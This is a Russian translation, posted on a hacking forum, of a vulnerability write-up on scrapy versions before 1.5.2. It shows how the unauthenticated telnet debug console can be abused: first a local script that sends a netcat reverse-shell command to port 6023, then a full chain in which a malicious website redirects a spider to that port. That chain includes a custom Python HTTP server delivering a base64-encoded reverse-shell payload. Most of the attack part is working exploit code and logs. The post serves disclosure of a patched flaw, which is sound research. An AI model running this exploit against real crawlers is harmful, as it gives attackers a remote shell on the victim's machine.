• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Использование службы telnet в scrapy <1.5.2

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Не знал как правильно перевести Spider, поэтому переводил как знал)

Отказ от ответственности: scrapy 1.5.2 был выпущен 22 января, чтобы избежать последствий, вы должны отключить консоль telnet (включена по умолчанию) или обновить до 1.5.2 как минимум.

В этом году в целью нашего исследования будет безопасность в веб-фреймворках. Зачем?- Потому что это важно для нас. В качестве небольшого контекста, между 2012 и 2017 годами я работал в мировом лидере Scrapinghub, создавая более 500 пауков(spiders). В alerttot мы используем веб-пауков(web spiders) для получения новых уязвимостей из нескольких источников. Это основной компонент нашего стека.

Мы ежедневно используем scrapy, и большая часть уязвимостей будет связана с ним и его экосистемой, чтобы повысить его безопасность, но мы также хотим исследовать фреймворки веб-очистки на других языках.

В качестве прецедента 5 лет назад я обнаружил приятную уязвимость XXE в scrapy, и вы можете прочитать обновленную версию этого поста здесь .

Хорошо, поехали!

Просто чтобы прояснить, уязвимости, раскрытые в этом посте, влияют на scrapy <1.5.2 . Как упоминалось в журнале изменений scrapy 1.6.0 , в scrapy 1.5.2 представили некоторые функции безопасности в консоли telnet, в частности, аутентификацию, которая защищает вас от уязвимостей, которые я собираюсь раскрыть.

Отладка по умолчанию
Начать пользоваться scrapy легко. Как видно из домашней страницы , вы можете запустить свой первый паук в считанные секунды, а в журнале отображается информация о включенных расширениях, промежуточном программном обеспечении и других опциях. То, что всегда привлекало мое внимание - это служба Telnet, включенная по умолчанию.

Код:
[scrapy.middleware] INFO: Enabled extensions:
[‘scrapy.extensions.corestats.CoreStats’,
 ‘scrapy.extensions.telnet.TelnetConsole’,
 ‘scrapy.extensions.memusage.MemoryUsage’,
 ‘scrapy.extensions.logstats.LogStats’]
[…]
[scrapy.extensions.telnet] DEBUG: Telnet console listening on 127.0.0.1:6023

Это консоль telnet, работающая на порту 6023 , целью которой является облегчение отладки. Обычно службы telnet ограничены набором функций, но эта консоль предоставляет оболочку python в контексте паука, что делает ее мощной для отладки и интересной, если кто-то получает к ней доступ.

Вообще, не принято обращаться к консоли telnet. Я использовал её для отладки пауков либо из-за нехватки памяти (в ограниченных средах), либо из-за вечности, всего около 5 из 500+ пауков.

Меня беспокоило то, что консоль была доступна без какой-либо аутентификации , тогда любой локальный пользователь мог подключиться к порту и выполнять команды в контексте пользователя, запускающего паука. Первое доказательство концепции - попытаться использовать эту локальную ошибку повышения привилегий (LPE).

Легкий LPE
Чтобы продемонстрировать это использование, есть два требования:
1. Эксплуататор имеет доступ к системе.
2. Там работает паук, который показывает сервис telnet. Следующий паук отвечает этому требованию, делая первоначальный запрос и затем бездействуя из-за параметра download_delay.

Код:
import scrapy
from scrapy.http import Request


class TelnetWaitingSpider(scrapy.Spider):
    name = "telnet_waiting"
    allowed_domains = ["example.org"]
    start_urls = ["http://www.example.org"]
    download_delay = 1000

    def parse(self, _):
        yield Request(url="http://www.example.org/")

Наш эксплойт прост:

Код:
import telnetlib

rs = "nc.traditional -e /bin/bash localhost 4444"

tn = telnetlib.Telnet("localhost", 6023)
tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")

Он определяет обратную оболочку, подключается к службе telnet и отправляет строку для запуска обратной оболочки с помощью os.system в Python . Я создал следующее видео, чтобы показать это в действии!


Теперь мы собираемся начать наш путь от этой локальной эксплуатации к удаленной эксплуатации!

Взять под контроль запросы паука
Ниже представлен паук, созданный командой scrapy genspider example example.org.

Код:
import scrapy


class ExampleSpider(scrapy.Spider):
    name = 'example'
    allowed_domains = ['example.org']
    start_urls = ['http://example.org/']

    def parse(self, response):
        pass

Он содержит некоторые атрибуты класса, и один из них - allow_domains . Согласно документации - это определяется как:

Необязательный список строк, содержащих домены, которые этот паук может сканировать. Запросы для URL-адресов, не принадлежащих доменным именам, указанным в этом списке (или их поддоменам), не будут выполняться, если включено OffsiteMiddleware .

Затем, если паук попытается сделать запрос к example.edu , он будет отфильтрован и отображен в журнале:

[scrapy.spidermiddlewares.offsite] DEBUG: Filtered offsite request to ‘example.edu’: <GET[URL='http://example.edu/?source=post_page---------------------------'] http://example.edu[/URL]>

Тем не менее, интересное поведение происходит, когда есть запрос на страницу в разрешенном домене, но перенаправляет на недопустимый домен , так как он не будет отфильтрован и будет обработан пауком.

Как сообщается здесь и во многих других вопросах, это известное поведение. Пол Трембер (Paul Tremberth) поставил некоторый контекст по этому вопросу, и есть некоторые возможные исправления (например, 1002 ), но ничего более.

Это непреднамеренное поведение, но под пристальным вниманием безопасности - это нечто. Представьте, что есть опасный веб-сайт, и вы хотите создать паука, который входит в пользовательскую область. Логика на стороне сервера будет выглядеть так:

Код:
from flask import Flask, abort, render_template, request

app = Flask(__name__)


@app.route("/")
def home():
    return render_template("login.html")


@app.route("/login", methods=["POST"])
def login():
    if request.form["username"] == "user" and request.form["password"] == "secret":
        return "", 200
    else:
        abort(500)

Шаблон login.html, используемый на маршруте / отображает форму с action=/login . Пример паука для сайта будет:

Код:
import scrapy
from scrapy.http import FormRequest


class DangerousSpider(scrapy.Spider):
    name = "dangerous"
    allowed_domains = ["dangerous.tld"]
    start_urls = ["http://dangerous.tld/"]

    def parse(self, response):
        return FormRequest.from_response(
            response,
            formdata={"username": "user", "password": "secret"},
            callback=self.parse_login,
        )

    def parse_login(self, _):
        print("authenticated")

Обзор шагов:
1. Паук отправляет запрос GET на http://dangerous.tld/ в строке 8.
2. В строке 11 он отправляет запрос POST, используя FormRequest[/URL] .from_response, который автоматически обнаруживает форму на веб-странице и устанавливает значения формы наоснове словаря formdata .
3. В строке 18 паук печатает, что аутентификация прошла успешно.

Давайте запустим паука:

Код:
[scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/> (referer: None)
[scrapy.core.engine] DEBUG: Crawled (200) <POST http://dangerous.tld/login> (referer: http://dangerous.tld/)
authenticated
[scrapy.core.engine] INFO: Closing spider (finished)

Все хорошо, паук работает и успешно заходит в систему. Как насчет того, чтобы сайт стал злостным актером?

Злоупотребляя поведением allow_domains , злоумышленник может управлять тем, что паук отправляет запросы интересующим его доменам. Чтобы продемонстрировать это, мы рассмотрим шаги паука. Первый шаг нашего паука создает запрос GET для домашней и конечной точки:

Код:
@app.route("/")
def home():
    return render_template("login.html")

Однако веб-сайт (теперь злонамеренный) меняет логику на:

Повторный запуск паука дает нам следующий результат:

Код:
[scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://example.org> from <GET http://dangerous.tld/>
[scrapy.core.engine] DEBUG: Crawled (200) <GET http://example.org> (referer: None)
[scrapy.core.scraper] ERROR: Spider error processing <GET http://example.org> (referer: None)

Несмотря на ошибки, на самом деле паук запросил http://example.org с запросом GET. Кроме того, также возможно перенаправить запрос POST (с его телом), созданный на шаге 2, используя перенаправление с кодом [URL='https://translate.google.com/translate?hl=ru&prev=_t&sl=auto&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307%3Fsource%3Dpost_page---------------------------']307
.

На самом деле, это какой-то класс SSRF, который я бы назвал « Подделка запросов со стороны паука » (каждый хочет создавать новые термины ). Некоторые подробности о среде:
1. Обычно паук очищает только один веб-сайт, но нередко паук проводит проверки на других сайтах / в доменах.
2. Паук запрашивает URL, и, вероятно, нет никакого способа получить ответ (он отличается от обычного SSRF ).
3. До сих пор мы можем контролировать только полный URL-адрес и, возможно, некоторую часть тела в запросе POST .

Несмотря на все эти ограничения, такая уязвимость, как и SSRF , открывает новую область: локальная сеть и локальный хост. Конечно, мы не знаем о разрешениях в локальной сети, поэтому ключевой вопрос: что работает на локальном хосте, не проходит проверку подлинности и обеспечивает возможности выполнения кода? Телнет сервис!

Давайте говорить на языке телнет
Теперь мы собираемся перенаправить запросы на localhost: 6023 .

Код:
@app.route("/")
def home():
    return redirect("http://localhost:6023", code=302)

Запуск паука выдает нам много ошибок:

Код:
[scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://localhost:6023> from <GET http://dangerous.tld/>
[scrapy.downloadermiddlewares.retry] DEBUG: Retrying <GET http://localhost:6023> (failed 1 times): [<twisted.python.failure.Failu
re twisted.web._newclient.ParseError: (‘non-integer status code’, b’\xff\xfd”\xff\xfd\x1f\xff\xfd\x03\xff\xfb\x01\x1bc>>> \x1b[4hGET / HTTP/1.1\r\r’)
>]
Unhandled Error
Traceback (most recent call last):
Failure: twisted.internet.error.ConnectionDone: Connection was closed cleanly.

Кажется, что количество ошибок равно количеству строк нашего запроса GET (включая заголовки), мы достигаем порта telnet, но не отправляем допустимую строку Python . Нам нужно больше контролировать отправленные данные, так как инструкция GET и заголовки не соответствуют синтаксису Python. Как насчет части запроса POST, которая отправляет учетные данные для входа?

Давайте вернемся к исходной версии home и попробуем использовать логику формы входа.

Отправка в telnet
Идея использования запроса POST состоит в том, чтобы обработать тело запроса как можно ближе к началу, чтобы построить правильную строку Python . Аргумент formdata, переданный в FormRequest.from_response, обновит значения формы, добавив эти новые значения в конец тела запроса. Это здорово, так как злоумышленник может добавить скрытый ввод в форму, и это будет в начале тела запроса.

Код:
  <form name="form" action="/login" method="POST">
        <input type="hidden" name="malicious" value="1" />

        <div class="form-group">
          <label for="name">Username</label>
          <input class="form-control" id="username" type="text" name="username" required="required" />
        </div>
        <div class="form-group">
          <label for="url">Password</label>
          <input class="form-control" id="password" type="password" name="password" required="required" />
        </div>
        <button class="btn btn-primary" type="submit">Login</button>
      </form>

Тело запроса, отправляемое пауком, начинается с malicious=1 , однако FormRequest.from_response кодирует URL-кодировкой, и тогда невозможно построить правильную строку Python .

После этого я попытался использовать форму enctype, но FormRequest не заботится об этом значении и просто устанавливает Content-Type: application / x-www-form-urlencoded . Игра окончена!

Можно ли отправить запрос POST без закодированного тела? Да, используя обычный класс Request с method = POST. Это способ отправки запросов POST с телом JSON, но я не считаю это нужным, когда злоумышленник может контролировать тело этого запроса.

Что еще попробовать? Я знаю, что метод должен быть списком допустимых значений ( GET, POST и т. Д. ), Но давайте попробуем, соответствует ли scrapy этому. Мы собираемся изменить метод формы на gaga и увидим вывод паука:

Код:
[scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/> (referer: None)
[scrapy.core.engine] DEBUG: Crawled (405) <GAGA http://dangerous.tld/login?username=user&password=secret> (referer: http://danger
ous.tld/)

Это не подтверждает, что метод формы действителен, хорошие новости! Если я создаю HTTP-сервер, поддерживающий метод GAGA , я мог бы отправить перенаправление на localhost: 6023 / payload, и этот новый запрос с методом GAGA достигнет службы telnet. У нас есть надежда!

Создание строки Python
Идея состоит в том, чтобы создать допустимую строку, а затем попытаться закомментировать оставшуюся часть строки. Принимая во внимание, как строится HTTP- запрос, и идею настраиваемого HTTP-сервера, строка, отправляемая на консоль telnet, в конечном итоге будет:

GAGA /payload HTTP/1.1

Как показано в предыдущем выводе, scrapy поместил мой метод gaga в GAGA , тогда я не могу сразу ввести код Python, потому что он будет недействительным. Поскольку метод всегда будет первым, я видел только один вариант - использовать метод, подобный GET = ', для создания допустимой строковой переменной, а затем в URI поместить закрывающий апостроф и запустить мой код Python .

GET =' [URL='http://dangerous.tld/login?username=user&password=secret&source=post_page---------------------------']/[/URL]';mypayload; HTTP/1.1

Полезная нагрузка представляет собой код Python и может быть разделена точками с запятой. Идея комментировать оставшуюся часть строки после полезной нагрузки невозможна, поскольку scrapy удаляет символ # . Остаток - HTTP / 1.1 , тогда, если я объявлю HTTP как число с плавающей запятой, это будет допустимое деление и не вызовет никаких исключений. Последняя строка будет выглядеть так:

GET =' [URL='http://dangerous.tld/login?username=user&password=secret&source=post_page---------------------------']/[/URL]';payload;HTTP=2.0; HTTP/1.1

Склеивая все вместе
Раздел полезной нагрузки является специальным:
1. Он не может содержать пробел.
2. Область действия ограничена, т. Е. Переменная GET не существует в области полезной нагрузки .
3. Некоторые символы, такие как < или >, имеют URL-кодировку.

Принимая во внимание эти ограничения, мы собираемся построить нашу полезную нагрузку следующим образом:

Код:
rs = "nc.traditional -e /bin/bash localhost 4444 &"
rs64 = base64.b64encode(rs.encode()).decode()
payload = f"__import__('os').system(__import__('base64').b64decode('{rs64}'))"

В строке 1 мы определяем нашу обратную оболочку, в строке 2 мы кодируем ее в кодировке base64 и используем магическую функцию __import__ для импорта модулей os и base64, которые в конечном итоге позволяют выполнять нашу обратную оболочку в качестве команды.

Теперь нам нужно создать веб-сервер, способный обрабатывать этот специальный метод GET = ' . Поскольку популярные фреймворки этого не допускают (по крайней мере, с легкостью), как и при использовании XXE , мне пришлось взломать класс BaseHTTPRequestHandler из модуля http, чтобы обслуживать действительные запросы GET и недопустимые запросы GET = ' .Пользовательский веб-сервер находится ниже:

Код:
import base64
import re
import socket
import sys
import time
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer


class WebServerHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()

        with open("templates/malicious_login.html") as f:
            self.wfile.write(f.read().encode())

    def send_malicious_payload(self):
        self.requestline = ""
        self.request_version = ""
        self.command = ""
        self.send_response(307)

        rs = "nc.traditional -e /bin/bash localhost 4444 &"
        rs64 = base64.b64encode(rs.encode()).decode()
        payload = f"__import__('os').system(__import__('base64').b64decode('{rs64}'))"

        print("[+] Sending redirect with payload ..")

        self.send_header("Location", f"http://localhost:6023/';{payload};HTTP=2.0;")
        self.end_headers()

    def handle_one_request(self):
        """Handle a single HTTP request.
        You normally don't need to override this method; see the class
        __doc__ string for information on how to handle specific HTTP
        commands such as GET and POST.
        """
        try:
            self.raw_requestline = self.rfile.readline(65537)
            print(self.raw_requestline)
            if len(self.raw_requestline) > 65536:
                self.requestline = ""
                self.request_version = ""
                self.command = ""
                self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)
                return
            if not self.raw_requestline:
                self.close_connection = True
                return

            if "username" in str(self.raw_requestline):
                self.send_malicious_payload()
                return

            # malicious request fails here!
            if not self.parse_request():
                # An error code has been sent, just exit
                return

            mname = "do_" + self.command
            if not hasattr(self, mname):
                self.send_error(
                    HTTPStatus.NOT_IMPLEMENTED, "Unsupported method (%r)" % self.command
                )
                return

            method = getattr(self, mname)
            method()
            self.wfile.flush()  # actually send the response if not already done.
        except socket.timeout as e:
            # a read or a write timed out.  Discard this connection
            self.log_error("Request timed out: %r", e)
            self.close_connection = True

            return

    def log_message(self, format, *args):
        return


def setup_webserver():
    """ Setup webserver for serve files """
    server_address = ("localhost", 5000)
    httpd = HTTPServer(server_address, WebServerHandler)

    try:
        print("To exit, press Ctrl-c")
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("Exiting ..")
        sys.exit(0)


if __name__ == "__main__":
    setup_webserver()

Важные части:
● Строка 11 malicious_login.html служит для шаблона , когда сервер получает запрос GET к конечной точке. Чем отличается этот файл malware_login.html ?
<form name="form" action="/login" method="GET ='">
● В строке 33 это начало метода handle_one_request из родительского класса. Это почти то же самое, за исключением того, что в строке 52 мы обнаруживаем, что форма была отправлена (видя, что в URI есть строка username ).
● В строке 18 мы определяем нашу логику. Во-первых, мы устанавливаем код перенаправления 307 , таким образом он сохраняет наш странный метод. Затем мы создаем нашу полезную нагрузку и отправляем заголовок Location пауку, чтобы он попадал в службу telnet.

Давайте посмотрим это в действии!


Заключение
После этой неожиданной эксплуатации я собираюсь создать некоторые проблемы на Github для решения проблем, связанных с нефильтрованным перенаправлением и недопустимыми методами форм.

Мне очень понравилось решение, принятое на scrapy 1.5.2, так как они добавили аутентификацию в службу telnet с помощью имени пользователя и пароля, и, если пароль не установлен, они создают случайный и безопасный.

Я надеюсь, вам понравился этот пост и следите за обновлениями и ждите следующей части этого исследования!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх